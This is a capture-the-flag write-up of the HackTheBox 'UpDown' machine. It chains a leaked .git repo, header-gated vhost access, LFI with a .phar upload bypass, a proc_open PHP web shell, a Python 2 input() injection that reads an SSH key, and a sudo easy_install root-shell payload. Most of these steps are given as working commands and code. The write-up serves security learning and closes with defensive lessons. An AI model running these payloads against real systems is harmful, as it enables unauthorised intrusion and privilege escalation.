HTB: UpDown Writeup
UpDown - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | UpDown |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.43.215 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
UpDown presents a simple “is this site up?” checker web app on port 80, but the real attack surface lives on a hidden dev vhost that’s only reachable with a magic HTTP header pulled from a leaked .git repository. That dev site turns out to have a file-upload feature that “blacklists” dangerous extensions but forgets about .phar, combined with a page parameter vulnerable to Local File Inclusion. Chaining the two via the phar:// stream wrapper gets arbitrary PHP execution even with system()/shell_exec() disabled, by falling back to proc_open(). From there, a SUID Python 2 script that calls the insecure input() builtin hands over a shell as developer, and a passwordless sudo entry on easy_install finishes the job as root.
TL;DR: nmap (22, 80) → vhost fuzzing finds dev.siteisup.htb (403) → /dev/.git exposed → git-dumper source dump reveals .htaccess requiring Special-Dev: only4dev header → LFI in index.php (include($_GET['page'].".php")) → upload bypass via .phar (blacklist misses it) → phar:// wrapper triggers code execution → system/shell_exec disabled, but proc_open works → reverse-shell-equivalent command execution as www-data → SUID Python2 script siteisup vulnerable to input()-as-eval() → shell as developer → dump id_rsa, SSH in → sudo -l shows passwordless easy_install → GTFOBins easy_install privesc → root.
Reconnaissance
Port Scanning
# Full TCP scan against the targetnmap -sC -sV -T4 -p- 10.129.43.215Results:
- 22/tcp — OpenSSH
- 80/tcp — Apache, hosting a “site up checker” web app tied to the domain
siteisup.htb
Service Enumeration
The root site on port 80 is siteisup.htb — a simple form that checks whether a given URL is reachable. Added the domain to /etc/hosts to browse it properly.
Vhost fuzzing against the Host header turned up a hidden subdomain:
# Fuzz vhosts; baseline "invalid" response size was 1131 bytesffuf -u http://siteisup.htb -H "Host: FUZZ.siteisup.htb" \ -w /usr/share/wordlists/subdomains-1000.txt -fs 1131This surfaced dev.siteisup.htb, which returned a 403 Forbidden — access was being blocked at the web-server config level rather than by a missing vhost, which meant something more than DNS was standing in the way.
Vulnerability Assessment
- Exposed
.gitdirectory — directory brute-forcing under/dev/on the main vhost revealed a.gitfolder, meaning the dev site’s entire source tree could be pulled down withgit-dumper:
# Dump the exposed git repo to recover the dev site's sourcegit-dumper http://siteisup.htb/dev/.git ./dev-dump-
Inside the dump,
.htaccessexplained the earlier 403: the dev vhost is gated behind a custom HTTP header,Special-Dev: only4dev. Requests without it are denied outright — this is why the vhost fuzz returned 403 instead of the actual app. -
index.phpin the dump contained an unsanitizedinclude():
$page = $_GET['page'];if ($page && !preg_match("/bin|usr|home|var|etc/i", $page)) { include($_GET['page'] . ".php");} else { include("checker.php");}The blacklist regex blocks path traversal into common system directories but does nothing to stop inclusion of arbitrary files that already sit under the webroot — a classic Local File Inclusion (LFI) primitive.
checker.phpimplemented a file-upload “is this site up” checker. It blocked a long list of extensions (php,phtml,py,pl,html,zip,rar,gz,tar, …) but not.phar— a PHP archive format that PHP will still happily interpret via thephar://stream wrapper. Combined with the LFI inindex.php, this is a direct path to remote code execution.
Initial Foothold
Exploitation Path
With git-dumper output in hand, every request to the dev vhost needed the Special-Dev: only4dev header to get past .htaccess:
# Every request to the dev vhost must carry this headercurl -H "Special-Dev: only4dev" http://dev.siteisup.htb/Since checker.php blocks .php/.phar-adjacent extensions in its extension filter but not .phar itself, a phar archive was built to smuggle a PHP payload past the blacklist. The critical constraint: the uploaded file’s bytes must start with PK (the zip/phar magic), or PHP’s phar detection fails with __HALT_COMPILER not found. That ruled out prepending any plaintext marker to the file — the payload had to stay a clean zip archive throughout.
<?php// Command runner using proc_open — system()/shell_exec()/popen() were// confirmed disabled via phpinfo() through the phar:// RCE, but proc_open was not.$descriptorspec = array( 0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'a'));$cmd = $_GET['cmd'];$process = proc_open($cmd, $descriptorspec, $pipes);echo stream_get_contents($pipes[1]);# Package as a phar-compatible zip, keeping the PK magic intactzip payload.phar payload.phpUploading the raw .phar directly and triggering it through the LFI:
curl -H "Special-Dev: only4dev" \ "http://dev.siteisup.htb/?page=phar://uploads/<uploaddir>/payload.phar/payload&cmd=id"Two operational hurdles came up while getting this to land reliably:
-
Upload cleanup race.
checker.phpcalls@unlink($final_path)on the uploaded file right after processing it, and each upload lands in a fresh directory nameduploads/md5(time())/. To catch the file mid-flight, a tarpit listener onLHOST:9000was used as the “site to check” — since the app’sisitup()function blocks waiting on a response, feeding it a URL pointed at the tarpit stalled request processing for ~30 seconds, keeping the uploaded phar on disk long enough to hit it with the LFI. Diffing theuploads/directory listing before and after each upload (stale, emptymd5(time())dirs persist from prior runs) pinpointed which directory held the live file. -
The phar’s file contents had to remain a valid zip archive — no extra header bytes — since PHP’s phar wrapper parses the zip structure directly; anything breaking the
PKsignature killed detection before the payload ever ran.
With proc_open confirmed working (via a phpinfo()-style probe through the same phar:// chain, which showed system, shell_exec, and popen disabled), arbitrary command execution as www-data was achieved.
cat /home/developer/user.txtPrivilege Escalation
www-data → developer
Enumerating /home/developer/ from the www-data shell revealed a dev/ directory group-owned by www-data, containing a SUID binary called siteisup alongside its source. The script used Python 2’s input() builtin to read a URL:
url = input("Enter URL here:")In Python 2, input() evaluates its argument as a Python expression — functionally equivalent to eval(). Since the binary runs SUID as developer, feeding it a Python expression instead of a URL executes arbitrary code as that user:
# Non-interactive injection into the SUID binary's input() callecho "__import__('os').system('cat /home/developer/.ssh/id_rsa')" | ./siteisupThis dumped developer’s private SSH key directly, which was used to log in over SSH for a stable foothold:
chmod 600 id_rsassh -i id_rsa developer@10.129.43.215developer → root
sudo -l as developer showed a passwordless entry for /usr/local/bin/easy_i[nstall] (Python’s package installer). Per GTFOBins, easy_install run under sudo does not drop privileges while executing the setup script of the package it “installs” — so a malicious local package spawns a shell as root:
# GTFOBins easy_install sudo escalationTF=$(mktemp -d)echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.pysudo /usr/local/bin/easy_install $TFeasy_install executes setup.py as part of the (fake) package build, and since the sudo rule doesn’t strip privileges from that child process, the shell spawned above runs as root.
cat /root/root.txtAttack Chain Summary
nmap (22, 80) → vhost fuzz finds dev.siteisup.htb (403) → /dev/.git exposed → git-dumper source dump → .htaccess reveals Special-Dev: only4dev header requirement → LFI in index.php (include($_GET['page'].".php")) → checker.php extension blacklist misses .phar → phar:// wrapper + proc_open (system/shell_exec disabled) → RCE as www-data → SUID siteisup binary, Python2 input()-as-eval() → shell as developer → dump id_rsa → SSH as developer → sudo -l: passwordless easy_install → GTFOBins privesc → rootTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning |
ffuf | Vhost fuzzing (Host header, filtered by response size) |
git-dumper | Recovering source from exposed .git directory |
curl | Manual header-gated requests (Special-Dev: only4dev), triggering the LFI/phar RCE |
zip | Building the phar-compatible payload archive |
nc (tarpit listener) | Stalling isitup() to win the upload/unlink race |
ssh | Foothold persistence as developer via dumped id_rsa |
easy_install (GTFOBins) | Passwordless sudo privilege escalation to root |
Key Learnings
Techniques Practiced
- Vhost discovery via
Host-header fuzzing with response-size filtering - Recovering full source from an exposed
.gitdirectory - Reading
.htaccessto recover a hidden auth mechanism (custom header gate) - LFI exploitation via PHP’s
include()with a naive path blacklist - Extension-blacklist bypass using
.phar+ thephar://stream wrapper for RCE - Working around disabled PHP dangerous functions (
system,shell_exec,popen) by falling back toproc_open - Winning a file-upload/unlink race condition with a tarpit-style stalling technique
- Exploiting Python 2’s
input()as an impliciteval()in a SUID binary - GTFOBins-driven privilege escalation via
sudo easy_install
Lessons Learned
- A 403 on a vhost doesn’t mean the vhost doesn’t exist — it can mean an
.htaccess-level header gate, which a leaked.gitrepo can reveal directly. - Extension blacklists are inherently incomplete;
.pharis a commonly forgotten PHP-executable extension, and whitelisting is the safer control. - Disabling
system()/shell_exec()/popen()alone doesn’t prevent RCE —proc_open()offers equivalent capability and is often overlooked in “disabled_functions” hardening. - Python 2’s
input()is effectivelyeval()— never use it on untrusted input, especially in a SUID-privileged binary. - Passwordless
sudoon package-management tools likeeasy_install,pip, ornpmis a full root-equivalent grant, since these tools execute arbitrary attacker-controlled code as part of “installation.”
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox official writeup for UpDown (15 July 2022, Document No. D22.100.192), prepared by woodenk & C4rm3l0, machine author AB2 — used here only for explanatory context on the
.phar/phar://RCE mechanics, thedfunc-bypasserdisabled-function workaround, and theeasy_installGTFOBins technique. All IPs, commands, and output shown above are from this run’s own solve.